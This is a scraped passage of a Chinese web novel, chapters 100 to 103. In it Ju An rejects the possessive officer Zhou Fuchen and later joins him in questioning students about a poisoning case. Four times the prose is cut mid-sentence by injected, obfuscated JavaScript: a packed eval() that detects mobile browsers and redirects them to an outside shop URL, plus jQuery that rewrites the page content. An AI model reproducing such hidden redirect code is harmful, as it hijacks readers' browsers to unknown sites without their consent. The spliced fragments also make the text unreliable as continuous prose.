;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748345|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦下失控的纪小梅。可惜他晚了一步,纪小梅跳得太过决绝,警察抵达的时候,只有两具冰冷的尸体。 周浮沉一回想案件的相关细节和线索,便会不受控地难受,不自觉地心疼雎安,即便他已经看过那么多的家庭惨案,却没能对雎安的悲惨经历脱敏。 所以,他伸出了他那温热而宽大的手,希望能给予雎安拥有实感的安慰。然而,在他触到雎安背部的那一瞬,雎安好似被热水烫到一般,反应极大地避开了他的手。 这一触,反倒让雎安清醒过来。 她不能再停留在过往,也不能再陷进情绪里。现在,她是要和周浮沉说清楚,要开启新生活! 因为即使她再伤心,逝去的人和光阴都不会再回来了。 人,必须专注于当下,然后,往前看。 “对不起。”雎安抬手,用衣袖为自己擦去眼泪,“托阿姨的福,她劝我出去走走,说视野开阔了,人就不会陷在情绪里自怨自艾。这次旅游回来,看了不一样的风景,我彻底想清楚了。我要开启新生活。” “开启新生活?”周浮沉的手不自觉地攥紧,“开启新生活的意思是,你要将我踢出你的生活吗?还是说,你有了想要进入的生活圈?” “什么意思?”雎安感受到周浮沉语气中的不悦,疑惑地问道:“我不知道你这话是什么意思。我只是想开启新的生活,因为我待在这,就会不停地回想过去,就会不断地陷进悲伤的情绪里。你我都不是明媚的人,这没有错,可我们在悲伤的时候,真的无法互相劝慰对方。我想,我离开了,你也能好很多,生活也会轻松很多。” “不会!”周浮沉突然爆发,猛地上前抓着雎安的双肘。他的手臂青筋暴起,抓得雎安生疼。他上次这么激动,还是在华江的江边拉下雎安的时候。 “我说不会。你离开了,我不会好!” 雎安怔怔地看着周浮沉,突然感到一种莫大的悲哀,“会的,你相信我。你知道吗?在阿姨说你喜欢我的时候,我觉得这太可笑了。这怎么可能呢?我和你待在一起的时候,都是一副脆弱又敏感的模样,像是没有朝气的随时就要凋谢的花。既不坚强,又没有展现过任何的优点和个人能力的我,到底有哪点值得你喜欢?我不明白。” “直到你刚刚回答了我的问题,你说不用还钱都可以的时候,我才意识到,阿姨说的是真的。可我接受不了你,因为我对你没有男女之情,要是非得留在你身边,就只会是为了自己能舒服轻松地活着,变着花样地讨你欢心的攀附者。我没办法,我没办法那样做。你也不该有一个这样的伴侣,对你的身心和事业都不好。” “呵。”周浮沉冷笑一声,“不好就不好,又不会死。” 雎安的瞳孔骤缩,整个人像是被瞬间冻住般动弹不得。她怎么这么迟钝,现在才发现周浮沉那沉静外表下的疯狂。 他累了,累得不行了,早就想沉沦了。 所以,什么盛开的花、什么优点、什么能力都不需要。 他喜欢的,就是她陷入泥泞后挣脱不开的模样,而今他还要拉着她一起沉下去,狠狠地沉下去,最好能沉入底,再起不来。 100. 我们彻夜狂欢,你满意了吗?^…… “难道有自己的喜好,有自己的欲望,有瑕疵的周浮沉就不配是周浮沉吗?!” 他受够了各种期待,受够了各种规训,受够了控制欲极强的父亲因为年轻时的遗憾,而迫使他走他们从前没能坚持下去的路,还看似悲悯地说:“要是实在做不好,唉~那就辞职学管理,以后就经营公司吧。” “我就是病了,难道不可以吗?” 雎安回答不了他,慌忙地垂下眼帘,用手去掰周浮沉抓着她的手,试图挣脱他的桎梏。可他们的力量过于悬殊,周浮沉甚至都没怎么用力,根本就不在意她的动作。 他的眼神晦暗不明,修长的手指摩挲她的下巴,意识到接下来会发生什么,雎安只觉浑身僵硬,呼吸都停了。周浮沉终于是失控了,看着眼前微启的红唇,俯下身就想吻上去。 “你把我当什么了?” 雎安一巴掌扇了上去,然后便止不住地哭,哭得快要窒息,哭得让人心慌。 “你想拉着我沉沦,有问过我愿意吗?又是嘘寒问暖,又是不要钱,还突然这样对我。如果你早想这样,为什么不直说?!为什么不直接让我陪你?!”雎安声嘶力竭地吼着说话,“我还以为......我能有幸遇到这么好的人,我还以为.......终于有人不图回报得对我好。” “我妈学历不高,父母是农民,又太想要一个温暖的家,而我爸有大学学历,还是教师家庭出身,我爷爷奶奶都是读过书的。我妈很崇拜我爸,觉得她能照顾他一辈子,也能依附他一辈子。而我爸一开始,也很享受这种依附和照顾,可最后呢?” 雎安在哭完后,人逐渐冷静下来,周浮沉也意识到自己的失礼,坐立不安地呆坐在沙发一角。 “最后他们是什么样的,你也看到了。我接受不了这样的关系,也绝不要依附他人而活。你帮了我,我以后一定会回报你的。这份恩情,我绝不会忘。” “只是,我没办法以身相许。” 雎安并不觉得自己说的话有错,她只是表明自己的态度和立场。但她说完,还是不自觉地低下了头,拿着纸巾默默地抹眼泪,一副做错了事的模样。 周浮沉似乎突然想到什么,拿出手机翻找相册。手机的冷光打在他冷峻的面容上,眸色逐渐变得凌厉。 “离开我,是因为阿挚吗?”周浮沉举起手机,翻转屏幕对着雎安。手机屏幕上有一张照片,只是离得太远,雎安看不清。 “想要搬去和啊挚一起住?”周浮沉一步一步地靠近雎安,直到她不再眯着眼,直到她能看清屏幕上的那张照片。 发布帖子的是一个成都当地的博主,帖子写的是亲密关系里的注意事项,而配图竟然是她和宋挚。 照片里的雎安垂眸凝视着正在休憩的宋挚,用手轻扶着他的耳侧,笑得一脸温柔。而靠在雎安肩上的宋挚姿态格外放松,嘴角有一抹轻扬的弧度,既像诡计得逞后得意的笑,又像是沉入一场美梦的笑。镜头的角落里,还有一个满脸慈爱地盯着雎安和宋挚看的老奶奶。 整张照片构图和光影都极好,人物表情也抓拍得既生动又温馨。 只可惜,这是偷拍。 “你误会了。”雎安知道周浮沉和宋挚是从小到大的好朋友,她不想牵扯到宋挚,更不想破坏两人的感情。况且,这确实是误会。于是她赶忙解释到:“当时宋挚很困,头歪倒在一个老婆婆的肩上。我是为了避免尴尬的事再发生,才让宋挚靠着我的肩。” “是吗?”周浮沉盯着雎安的双眼如鹰,格外锐利,带着明显的探究意味,“你喜欢宋挚吗?” 雎安明显顿了一下,“不讨厌,也不喜欢。” “那宋挚呢?” “我不知道。”雎安眼神闪躲,“我不是他,我没办法回答。” “不,你知道。”周浮沉一把将照片划掉,转而打开和卢宇年的聊天框。 他一边说着,一边拿出手机,点开并放大了卢宇年发来的视频和照片。视频是在成都某歌手的演唱会上,宋挚被随机选为互动嘉宾,舞台上的歌手问他: “是你女朋友在外面等你吗?” 宋挚摇头。 “暧昧对象?是你喜欢的人喽?” 宋挚这回没有摇头,只是笑。 “哦~那也可能是喜欢你的人,毕竟这么晚还来体育馆找你,你要好好对人家哦~去吧。” 随后,宋挚便小跑着离开了内场。 而那张图片,是在演唱会散场后,雎安正看着脚下的台阶,抓着宋挚的手肘往前走。而宋挚则是乖乖跟着她,笑得一脸宠溺。 不论是地铁那张照片,还是演唱会的这张,都能清晰地看出两人的亲密无间,根本不像是刚认识的朋友。而那视频,更是雎安哑口无言,她想解释,可她不知道该怎么解释。这些视频和照片摆在她面前,就会让她的一切解释都变得苍白无力。 在雎安的沉默下,周浮沉的眸色冷至极点。 “什么时候开始的?” “我不知道怎样你才会信?”雎安双手紧抓着自己的衣摆,“我和宋挚没什么。” “没什么?”周浮沉极快地反驳,俯身质问雎安:“在你的概念里,男女之间,怎样算没什么?我们算吗?” 雎安原先在房门外的高椅上坐着,在打了周浮沉一巴掌后,坐到了客厅低矮的沙发上。而此刻,周浮沉就这样俯身逼了过来,瞬间将雎安所处的宽阔空间变得逼仄。 见雎安根本不敢抬头和他对视,周浮沉竟是气得笑了,“你知道吗?宋挚微博发的照片里,有张图的背景是家连锁酒店的经典装潢。很巧,和你住的酒店的背景一模一样。而他住的那家酒店,我查过网上的客房实景图,根本就没有那样的装潢。” “如果你接受我,我会当作没看见。如果你们真背着我做了什么,你想走,那就认下来,我不是傻子!” 周浮沉捶打沙发的手臂青筋暴起,一把将手中的手机摔在玻璃桌上,怒吼声和玻璃爆破声同时响起,震得一旁的台灯翻倒在地。 顷刻间,室内唯一的光线来源也没了,仅有窗外的雷电和灯火通明的大厦仍能带来些微光亮。而周浮沉就依靠着这微弱的光亮,试图看清雎安。 雎安当下被吓得动弹不得,低垂着头,瞪大了眼睛,呆滞地看着地面。她的耳膜被震得有些耳鸣,可她不敢有任何的动作,更不敢摁压自己的耳屏。 因为这是她第一次看到周浮沉生这么的气,而且还是因为她。 冷静了十几秒后,她的意识终于回归,大脑重新开始思考。 为什么宋挚明明就住在她隔壁,却要和周浮沉说他住在其他酒店? 为什么宋挚发的那张图,一半的画面都集中在酒店装潢上? 为什么她明明是单身,却要遭到这样的质问?为什么她要低眉顺目?为什么她要解释?这就是寄人篱下的代价吗? “没错,在成都的那几天,他每晚都会来敲我的房门。然后,我们彻夜狂欢。你满意了吗?” 雎安抬起头,说话时的眼神和语气都带着些冷嘲的意味,而她说的话,像是突然击发的弓箭,精准地扎在了周浮沉的心上。 他直起身,往后退了几步,似是被这番话打击到,表情逐渐变得空芒且迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757690|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离。 他的脑中不停地闪现雎安和宋挚纠缠在一起的画面。在短短的几天里,他们牵手、他们拥抱、他们热吻,他们做完一切饮食男女碰撞在一起后会做的事。 想到这,周浮沉用手胡乱地抓着自己的头发。 这几天他一直在胡思乱想,迫切地想要一个答案,可就在他内心所怀疑的事得到验证的这一刻,他却后悔了。 他低头又抬头,眼底竟然滑落了几滴泪。 “如果,我是说如果,你能和宋挚断了,我就能当作什么都没发生过呢?” “周浮沉,你是不是疯了?” 这是极少有的,雎安会喊出他的全名。以往,她都叫他周警官。 “我为什么要你的原谅?我们从来就不是男女朋友,更没有做过逾矩的事。而且你也说了,起初你会帮我,是出于愧疚和负罪感。我没有求你把我带到这里,没有求你为我找心理医生,更没有求你花钱供我吃穿!” 雎安越说越激动,最后直接站起身,转过身背对着周浮沉,快步走到房门口。她想到了邹伟聪生前总是指着她的鼻尖,骂她是白眼狼的狰狞模样。 “你就当我是白眼狼好了,反正我从小就是白眼狼。” 说完,雎安进了房间,将门反锁。 在确认门关好的那刻,她靠着门的身体滑落在地,右手捂着胸口,想哭却哭不出来,她已经没有眼泪了,可她不想被敏锐的周浮沉察觉到她的口是心非。 于是,她唯有将自己锁了起来。 再一次锁了起来。 因为周浮沉帮了她,因为周浮沉对她很好,而她虽然不是以异性的身份爱着他的,但她却是衷心地希望他未来能越来越好。而她这样背景的人,就不该待在他身边,哪怕声称是他的朋友,也只会害了他。 雎安摸着自己的心口,感受着胸腔的起伏,以及那起伏下疼痛的心。 好真实的感觉,就好像......她亲身经历了一次。 可雎安很清楚,这不是她,她不会再允许任何人顶着以爱之名绑架她、控制她、限制她。 哪怕她会被人骂绝情、白眼狼、忘恩负义,她都认了。 她宁可忍受短期的孤独、寂寞和挣扎,投身于劳动和自我重塑中。因为她坚信,人生的方向盘得握在自己手中,也只能握在自己手中。 她知道,做出抉择后会有剧烈的痛苦感,她坚信,这是因为她在脱胎换骨,她在向上走。 于是,雎安不再和紧拥着她的周浮沉做对抗。 她只是冷静地说道:“你这样,让我觉得很冒犯。” 然后,她便没有了任何动作和言语,静等周浮沉做出反应。 果不其然,他慢慢松开了她,看向她的眼中满是苦楚,好似受到了巨大的冲击。 雎安却只是看着,抬手拍了拍周浮沉的手臂,转身向宋挚走去。 方才,她透过周浮沉身后的显示屏,看到了站在不远处的宋挚。他一脸震惊和不甘,手紧抓着衣角,却没有贸然上前、没有随口质问、没有给雎安难堪。 雎安走到宋挚面前,没有解释,只是笑道:“我们走吧。” 宋挚克制自己的情感,管理自己的情绪,没有将她视作占有物,给她留了选择和空间。雎安透过他的行为,感受到了爱和安心。 没错,人生的方向盘只能握在自己手里。但是,人生总有起落,她觉得自己兴许会在撑不住的时候,选择上宋挚的车,在宋挚的车里休息会儿。 这并不羞耻。 因为当宋挚撑不住的时候,她也可以邀请宋挚来她的车上休息。 101. 我给你两个忠告。 2023年6月26日,周一,蓉湖公园的公厕外。 雎安坐在离公厕有五米远的椅子上,等周浮沉从里头出来。 上周六,雎安一早叫了个骑手去蓉湖公园里的男厕寻找,果真在人流量最大的两个男厕里找到了写有她电话号码的打印条。 雎安让骑手将打印条撕下来,再将她的电话用大头笔划掉。 “这公园里的厕所我都走遍了,一共两处,我都处理掉了。” “好,辛苦了。”雎安也没多废话,用钱来表示诚意,“我会多转两百给你。” 接着,便是骑手有些激动地道谢声,还让雎安多加小心,说干这种事的人一般都心眼小、报复心强。 雎安再次道了声谢,便将电话挂断。 自那以后,她的手机清静了。 然而,这份清静不过维持了一天半。周一她一早醒来,发现手机又有了十几条未接来电。 她真是服了。 烦躁归烦躁,雎安第一时间便开始想解决的办法,她想到了周浮沉,没有过多犹豫,就已经将信息发了出去。 周浮沉很忙,而她还拒绝了他的晚餐邀约,她觉得这事没戏,心里又隐隐觉得能成。 “是又写回去了吗?”见周浮沉出来后,雎安迎了上去。 “没有,不在这,可能换了个地方。”周浮沉被熏得眉头紧蹙,“待会儿我用你手机先探问情况,然后回去查监控,得找点证据出来了。” “好。”雎安翻出有香气的纸巾,递了过去,“你的额头上都是细汗,擦擦吧~” 她流露出难为情的神色,“麻烦你了,工作日跑这一趟,还得回去调查,我请你们办公室的同事喝下午茶吧!” “不行,这不符合规矩。”周浮沉拒绝得极快,“你不用不好意思,我不是专程来帮你的,我有话要问你。” ———————— 周浮沉开的是一辆黑色的SUV,完美符合雎安对他的猜想。 “所以,你是说黎正、黎从新和李云宇曾经校园霸凌过卢宇年?” 此刻,雎安坐在副驾驶座上,点头道:“没错,一开始听到这三个名字的时候,我都没反应过来,还是黎正这个名字勾起了我的回忆。他曾经是我的同桌,虽然时间不长,一个月不到,但我对他还蛮有印象的。” 接着,车内陷入了一阵沉默。 雎安没忍住,侧目而视,见周浮沉目视前方,一副认真开车的模样,猜想他的大脑正在飞速消化她刚刚讲述的陈年旧事。 反正是他主动问的,雎安还非常震惊,震惊于警察的办案速度,居然这么快就锁定了死者身份,还调查了他们的社会交际网,想到可以来问她。 虽然正合雎安的意,但委实吓了她一跳。 华州大学门口,周浮沉的车被保安拦下,他拿出警官证并简要说明情况后,便被允许入内了。整个过程很顺利,车辆最终停在了篮球场附近的露天停车场上。 “话说,你怎么一个人来的?”下车前,雎安好奇地问道:“不是最少得有两名警察一起查案吗?” “你还挺懂的。”周浮沉低头一笑,“没错,正常必须得这样,但现在大案子堆在一起,人手稀缺。” 啊?人手稀缺就可以一个人办案? 雎安带着疑惑推门,正想再仔细问问,结果就看到了站在篮球场边观摩学生们打球的汪炎, 雎安记得他,上次在嘉源广场,她被汤尊爸妈缠着要赔偿的时候,他也在场。 “所以,你们今天的任务是要询问廖学文和龚爱娜?”雎安问道。 谁知,周浮沉却突然停下脚步,指了指自己和雎安,道:“是我们。” “啊?” ———————— “宋挚?我记得他是保研上来的。” 廖学文再一次投篮失败。 “命可真好。”黄健豪感叹,“他爹不就是我们华大的物理系教授嘛,和我们肯定不一样。” 廖学文瘪了瘪嘴,“对啊,他爸就是我那实验组的教授,他经常翘课来观摩实验。” “他不是化学系吗?去你们物理系观摩干嘛?”黄健豪冷笑了一下,“估计就是不想上课。” 廖学文的话语中透着一股酸溜溜的气息,“反正他不用努力都可以过得很好了,我看他长得好,出手阔绰,经常不在学校住,多半是出去和女生潇洒了。” 雎安和周浮沉站在篮球场的边沿角落处,虽然廖学文和黄健豪交谈的声音没有大到能让他们一字不落地听清楚,但大概的议论内容是清楚的,还有他们发出的猥琐笑声。 他说宋挚出手阔绰? 雎安想起宋教授说过廖学文品性不行、出售实验资料的事,还有上次实验结束后,她曾捕捉到宋挚和廖学文有多次对视。 她猜想,宋挚是用钱收买了廖学文,所以才会那么快就得知她没有履行他的计划。 “怎么了?”周浮沉低头询问。 雎安摇头,“没什么。” 他们毕竟是两个显眼的大活人,很快,廖学文便注意到观摩球场的人群里有些不太对劲,紧接着,便注意到了雎安。 出乎雎安意料的是,廖学文表现得很平静,只冷冷地看了眼雎安,反倒是黄健豪表现的有些忐忑,估计是担心自己背后议论人的话会被传出去。 “你好。”周浮沉走进球场,背对着黄健豪,朝廖学文亮出了警官证。 这回,雎安终于在廖学文的脸上,看到她想象中会出现的吃惊和错愕。 “跟我来,我有话要问你。”周浮沉的语气平淡,但却透着不容拒绝的力量,“不用紧张,我问你答就行了。” 廖学文当她是空气,雎安也就不自找没趣,她礼貌地和尴尬而好奇的黄健豪打了个招呼,便跟在周浮沉身后,离开了球场。 汪炎这人太有压迫感,所以他没有靠太近,在能听清正常谈话的位置上站着。周浮沉坐在廖学文的右侧,雎安则站在斜侧方。 廖学文很是紧张,看他一副心胆俱裂的模样,兴许是以为自己私下卖资料的事被揭发了吧。不然,他看向她的眼神里不会饱含怨恨。 雎安觉得,他是个威胁。 “你父亲叫廖自源,是安娜维诺工厂的员工。你还有两个姐姐,一个叫廖欣,一个叫廖静纯,没错吧?” “没错。” 雎安一惊,廖欣?和她前公司的人事同名。 此刻她仔细瞧廖学文的脸,才发现他和廖欣长得有六分像。 “你父亲死于今年情人节发生的碳酸钡中毒案,我想和你了解一下,在事件发生前,你父亲有什么异常吗?” 闻言,廖学文明显送了口气,他逐渐平静道:“我们一家在过年的时候团聚,年初八,我爸和我姐她们就都去工作了,后来元宵节的时候还聚了一下,我没觉得有什么不对劲的。” 他直接问道:“你们为什么会再调查这件事?是怀疑凶手另有其人吗?” 周浮沉却是不理会他的问题,挑了挑眉尾,接着问道:“那你有没有听你父亲说过,厂里有什么人和他起过争执、或欺负过他?” 廖学文显然没想到他的话会被直接忽略,连打哈哈的敷衍都没有。 “他除了和一个叫汤尊的经理起过争执,被打到全身痛,索赔了八万,其它我就不知道了。” 廖学文本性懦弱,碍于周浮沉气场强大,且是在查父亲的案件,老实交代道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767736|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸在家脾气不太好,很喜欢抱怨,但在外却总想当个老好人。虽然我不是很清楚他在厂里的情况,但我觉得以他的性格,得罪不了什么人。” “他有什么不良嗜好吗?”周浮沉目光犀利,凝视着廖学文。 雎安觉得,用汗流浃背来形容廖学文此刻的状态,再适合不过了。 “不抽烟、不喝酒、不赌博,两三年前迷上投资,被人骗了两三万,后来一直都很谨慎。” 廖学文急匆匆地离开后,汪炎走近到周浮沉面前,淡淡道:“他应该没有撒谎。” 雎安扭头看了眼廖学文那越来越小的背影,笑道:“我也觉得,他都快吓破胆了。” 问到最后,周浮沉意有所指地提醒他,“我给你两个忠告。一是不要在背后嘴别人,二是不要做一些有违道义和良心的事。” 周浮沉还在他即将抬眸去看雎安的时候,突然站起身,遮挡了他的视线,“听清楚了吗?” 长达五秒的沉默。 “听清楚了。” 同样被遮挡住视线的雎安,听到廖学文应答的声音有些微微发颤,猜想他当时的表情一定逊爆了! “只是,我没想到他大姐廖欣是我的前同事,二姐廖静纯是寄送快递给宋挚的那个女店员。”雎安作思索状,“这里面,会不会有什么关联啊?” “我们有调查过廖学文的家庭背景。”周浮沉看了眼汪炎,“廖学文家庭的传统观念很重,经济条件一般,他们家为了能有个儿子,他母亲在生完廖欣和廖静纯后,没过三个月又怀孕了,结果在生廖学文的时候去世了。” 另一侧的篮球场,突然涌出来十几人的啦啦队,雎安一眼便认出了人群中笑容最灿烂的那个女生。 她叫龚爱娜,是碳酸钡中毒案受害者里于娜的女儿。 “他们家非常看重廖学文,两个姐姐甚至要把勤工俭学的钱拿出来一部分给弟弟读书。我去询问廖欣和廖静纯的时候,得知他们在父亲死后就不怎么和廖学文联系了。她们说父亲把房子和钱都给了廖学文,她们要养弟弟,还什么都得不到,所以就和廖学文断交了,说以后各过各的。” 雎安还注意到,篮球场外的角落里,有一个身穿球服的高挑男生,他坐在椅子上,双肘压着大腿,身体微微前倾,闭着眼睛休息。 是宋挚! 雎安原先看得并不刻意,是半眯着眼睛在确认,然而,在确认是宋挚后,她的眼睛陡然睁大。 可在短暂的错愕后,她意识到他们隔得太远,他大概率不会听到黄健豪和廖学文的背后阴阳,也不会听到他们询问廖学文的内容,甚至,不会注意到她们。 “姐妹俩都不喜欢廖学文,说他对她们的付出理所当然,拿了遗产后,还在微信上和她们要钱。廖欣已经把他给拉黑了,廖静纯没有拉黑,但也没有理他。” 周浮沉说完,汪炎补充道:“那个廖静纯,我们之前去问她快递的事,不像是知道什么内情的样子。但她毕竟是寄快递的人,我觉得有必要当面问问她,尤其是有关于他父亲廖自源的事。” 啦啦队员们身穿红色收腰短袖和红白相间的短裙,虽然身上的衣服一样,但龚爱娜就是格外耀眼。 “嗯,但我们接下来得先问龚爱娜,她也是华州大学的学生。” 周浮沉和汪炎都很敏锐,早已察觉到雎安的失神,他们只当是雎安对他们讨论的内容不感兴趣,没多在意。 周浮沉试图让雎安回神,扭头对雎安道:“对了,这廖学文的人品不行,需要你和宋教授多加留意。” 这时,另一个球场里想起了嬉闹声和起哄声。 龚爱娜在众人的注视下,带着自信而明媚的笑容,走到宋挚面前,戳了戳他的手。 102. 我决定向死而生 宋挚对喧闹声不以为意,直到感觉手腕的红绳被人触了一下。 他猛地睁开眼,手往后缩,人往后仰,直接略过龚爱娜的笑脸,低头检查红绳是否安好。 “放心吧,我没有弄到你”龚爱娜被宋挚的反应惊到,但很快,她近距离看清了他的脸,唇角再一次上翘,“同学,可以加个微信吗?” “哇哦~” 毫无疑问,能考进华州大学,智商上肯定过关,而龚爱娜的外貌和情商都很出众,家境也不错,各项配置都很优秀的她,居然在看到心动的帅哥后就这么无畏地上前。 篮球场上的众人惊叹于她的勇敢,惊呼声此起彼伏。 “是阿挚。”周浮沉终于注意到了宋挚的存在。 “龚爱娜也在那。”汪炎第一时间注意的是他们的调查对象,“要现在过去吗?” 闻言,周浮沉看了眼雎安,发现她正目不转睛地盯着宋挚的方向,“晚点吧,这么多人看着,我们说明来意也不方便,免得围观群众以为她犯了什么事,造成不必要的麻烦。” 周浮沉有理有据,汪炎应承道:“那先去吃了个饭吧,我好饿。” “好。”雎安突然转头,朝汪炎笑了笑,“一起去吧。” 离开球场前,周浮沉回头,再度看向宋挚的方向。 龚爱娜仍站在宋挚面前,好奇地投来了目光,因为宋挚的整个身子都已经转了过来,对着他所在的方向,看着像是注视了好一会儿。 周浮沉对上宋挚的视线,朝他笑笑,挥了挥手,算是打过招呼。 “宋挚是什么时候在哪球场外的啊?”雎安假装不经意地问道。 周浮沉咀嚼的动作一顿,思索道:“不知道,反正我们刚到的时候,我观察四周,没看到他。” 雎安颔首,“那就好,免得他听到那些闹心的话。” 汪炎咽下食物,本想说什么,但闭上了嘴。 雎安接着道:“之前我看他和黄健豪师兄沟通的样子,以为他们是好朋友呢,还有廖学文,居然在背后说那么难听的话。” 宋挚的注意力都在拯救母亲上,他和宋教授有矛盾,交心的朋友不多,没有经济压力,又没有奋斗目标,可以说是处在空心人的状态。如今拯救母亲的事情也受了挫,虽然他说过不会轻言放弃,但受到的打击肯定不小。 雎安不希望他听到这些假朋友在背后议论他的话。 “那些所谓的朋友。”周浮沉感叹一声,“和他们打交道,还不如多看会儿书。” 汪炎夹起一块卤鸭肉,附和道:“爱嚼舌根,负能量多,和这种人待久了容易被传染。” “像病毒一样。”雎安瘪了瘪嘴,“对了,龚爱娜的爸妈是都在安娜维诺上班吗?” “没错。”周浮沉抬眸,“她父亲龚运商是销售部经理,母亲于娜是生产部总监,不过,龚运商是在总部办公,于娜是在工厂里。” 龚运商,于娜,龚爱娜。 雎安突然意识到,龚爱娜这个名字是多么得甜蜜,如同宋挚的名字一样,挚是挚爱的意思。 “当时吓我一大跳,幸好我妈没事。”龚爱娜坐在学校图书馆附近的咖啡店里,此时已换上了日常装,“不过,你们为什么会来问我?” 周浮沉和汪炎都没有及时回答她问题,而是观察她作答时的反应。 结果,龚爱娜一副明白过来的表情,转头朝雎安道:“是你有话要问我?” “啊?”视线落在桌面上的雎安,终于抬起了头,“为什么会这么问?” 龚爱娜歪头一笑,“你心里清楚。” 而后,她转头对周浮沉道:“真要调查,可以去工厂问我妈,我还有事,先走了~” “她还挺自大的。”在龚爱娜走后,汪炎说出了这句简单的总结。 “嗯,想着来到来了,找了廖学文,也找她聊聊。谁知道......”周浮沉看了眼雎安,“被针对了。” 调查完成,汪炎和周浮沉要回警局,雎安打算自己打的回酒店。 “雎安,我送你到方便打车的地方吧。”随着汪炎的车驶离了停车场,周浮沉叫住雎安,“天气太热,走一公里都够呛的。” 雎安没纠结,直接上了车。 “上周六,你说你晚上有重要的安排。”周浮沉目视前方,语气里透着谨慎,“玩得开心吗?” 雎安望着窗外的街景,突然被强光刺了一下眼睛,她不由地庆幸自己没有走这一段路。 “嗯,我是第一次看音乐剧嘛,又是前排,很震撼。”雎安由衷地感叹,“去之前,我的预期很低,想着就是在一个舞台上演这么多戏份,肯定有些无聊。” “我知道你看的是哪部音乐剧了。”华州大剧院最近演出的音乐剧只有两部,周浮沉一下便猜到了,“你看的可是闻名世界的音乐剧,服化道都很讲究,虽然来中国巡演的卡司不算有名气,但也得有本事才能唱的。” “你看过?”雎安有些惊奇。 像周浮沉这么忙碌的人,在雎安的记忆里,他几乎没有时间娱乐,就算难得有时间,雎安觉得他会选择睡觉和冥想。 “高考完的三个月,我和朋友到处旅游,看了不少的演唱会和剧。” 往常,周浮沉的笑容都很浅,像是清风吹过湖面,只有丝丝涟漪。而此刻,像是有船夫乘船划桨,途径湖面,周浮沉的笑容变得有了实感。 “很怀念那时候。” 雎安笑笑,没有应和,将话题转回到了音乐剧上。 “歌剧,话剧,演唱会。”周浮沉想到什么,眉头微蹙,“你安排得好满啊,是想多尝试多体验?” “嗯。”雎安兴奋地分享,:“反正失业了嘛,我有很多时间,我还想去试试跳舞、滑板、射箭。” 周浮沉可记得,雎安的家境不好,父母都是“吸血鬼”,按理来说,她应该着急找工作才对,兴许是压抑了太久,摆烂做躺平族了。 周浮沉原先想劝说一番,劝她要为未来考虑的话,最后咽进了肚子里。 “就在这放我下车吧。”雎安突然意识到,车已经开出了三四公里,奔着南林社区的方向去了。 “我送你回家。”周浮沉侧头,朝雎安笑了笑,自顾自地说道:“反正我不着急回去。” 雎安陡然睁大了双眼。 可她现在没有住在家里,而是住在酒店,要直说吗?还是像上次骗宋挚那样,等他车开进小区,她假装回家,然后再酒店。 雎安沉思片刻,在周浮沉察觉到反应不对的那刻,向他简要地说了自己和家里的矛盾,说自己现在住在酒店。 “挺好的,和合不来的人待久了会腐蚀灵魂。”周浮沉的笑容又变得如往常那般浅淡,“哪怕对方是家人。” “我不得不感叹,你内心好强大。” “啊?” 周浮沉突如其来的夸奖让雎安感到吃惊。 她问道:“怎么说?” 周浮沉放慢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我相信一个人可以自塑、可以通过后天改变,但非常非常难!这需要知行合一,需要时间来让大脑适应、让身体行动。” 周浮沉目视前方,雎安侧头去看他,明明他面上没什么表情,她也无法直视他的眼睛,却能深切地感受到他的担忧。 “要不要……”话到嘴边,周浮沉又犹豫了几秒,“我给你推荐一个心理咨询师。” “我不是说你有问题。你知道的,现在很多人有些情绪问题,寻求专业帮助并不羞耻。” 其实周浮沉说得没错,改变是需要时间的,而她因为进入装置四次的原因,其实比其他人多了将近28天的经历。 雎安觉得,自己是该给了说法,但又不能谈及装置。 “谢谢你,浮沉,如果有需要的话,我会主动找你。但你真的可以放心,我只是想明白了。” “之前我总是怕这怕那,不敢表达,不敢为自己争取,恨不得避开所有冲突。结果,现实并没有变好,反而越来越糟糕。” 雎安看到了“有家酒店”的招牌,不自觉加快了语速。 “在我意识到这一点的时候,我就在想,人其实不是到老才会死的,谁又知道自己的死期呢?万一死期是明天,那我该有多遗憾?这世上有这么多美好的事物,我都没有体验过,都没为自己活过。” 伴着雎安越加坚定的言语,车辆停在了酒店门前的街道边。 “我很肯定,我要改变现状。所以,我决定向死而生。” 103. 冯凌 